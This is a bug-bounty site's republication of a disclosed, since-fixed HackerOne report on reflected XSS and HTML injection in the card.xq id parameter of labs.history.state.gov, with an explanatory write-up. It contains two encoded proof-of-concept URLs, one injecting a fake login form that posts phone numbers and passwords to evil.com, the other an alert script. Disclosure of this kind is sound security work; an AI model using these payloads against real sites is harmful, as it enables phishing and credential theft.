Skip to content
XSS Disclosed report Beginner

xss and html injection on ( https://labs.history.state.gov)

The id parameter on the card.xq page was reflected into the page without sanitisation, allowing an attacker to inject HTML or JavaScript. An attacker could use this to alter the page for phishing or to run script in a victim's browser.

iismailu Follow

Originally disclosed on HackerOne

Medium 4.7 View original
  • Triaged in 6 days
  • Fixed in 31 days
  • Disclosed after 2 months

Summary:

there's possible xss and html injection on your website https://labs.history.state.gov through /card.xq?id= parameter because your web did not sanatize user input and you have vulnerable JavaScript libraries jQuery 1.11.3

Steps To Reproduce:

html injection P O C code

https://labs.history.state.gov/card.xq?id=%3C/title%3E%3Cbody%20style=%22background:%20green;%22%3E%3Cdiv%20class=%22container%22%3E%3Cform%20action=%22https://www.evil.com%22%20method=%22post%22%20class=%22form%22%20style=%22display:%20block;%22%3E%3Clabel%20for=%22pnumber%22%3Ephone%20number%20%3C/label%3E%3Cbr%3E%3Cinput%20type=%22tel%22%20name=%22pnumber%22%20id=%22pnumber%22%20value=%22%22%20placeholder=%22phone%20number%22%20maxlength=%2211%22inputmode=%22tel%22%20size=%2240px%22%3E%3Cbr%3E%3Clabel%20for=%22pword%22%3Epassword%3C/label%3E%3Cbr%3E%3Cinput%20type=%22password%22%20name=%22pword%22%20id=%22pword%22%20value=%22%22%20placeholder=%22password%22%20maxlength=%22200%22%20size=%2240px%22height=%22100px%22%3E%3Cbr%3E%3Cinput%20type=%22submit%22%20value=%22login%22%3E%3C/form%3E%3C/div%3E%3Cfont%20style=%22font-size:%20100px;color:%20red;%22%20class=%22welcome%22%3EWE%20ARE%20HACKERONE%3C/font%3E

xss P O C code

https://labs.history.state.gov/card.xq?id=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E

##Remediation Guidance

  1. you have to sanitize user input before using it
  2. update your JavaScript libraries jQuery 1.11.3

Supporting Material/References:

[list any additional material (e.g. screenshots, logs, etc.)]

  • [attachment / reference]

Impact

1.. since html is a web language attacker can use this to change complete page look to do phishing attacks to compromise users 2.. attacker can use this to execute malicious javascript in user browser

Attachments

The original report as published on HackerOne, by iismailu. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the id parameter was reflected into the page without output encoding or sanitisation.

Impact

An attacker could change the page's appearance for phishing or execute malicious JavaScript in a user's browser.

What the attacker needed

Victim clicks a crafted link

The fix

User input should be sanitised or output-encoded before being placed in the page, and the outdated jQuery library should be updated.

How it was found

  1. Open the card.xq page with a crafted id value containing HTML.
  2. Observe the injected HTML rendered on the page.
  3. Repeat with a script payload in the id value to trigger JavaScript.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website sometimes puts text from the address bar straight into the page. If it does not clean that text first, an attacker can put their own HTML or JavaScript in the link, and the victim's browser will treat it as part of the site. That lets the attacker change how the page looks or run code in the victim's session.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from U.S. Department of State

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.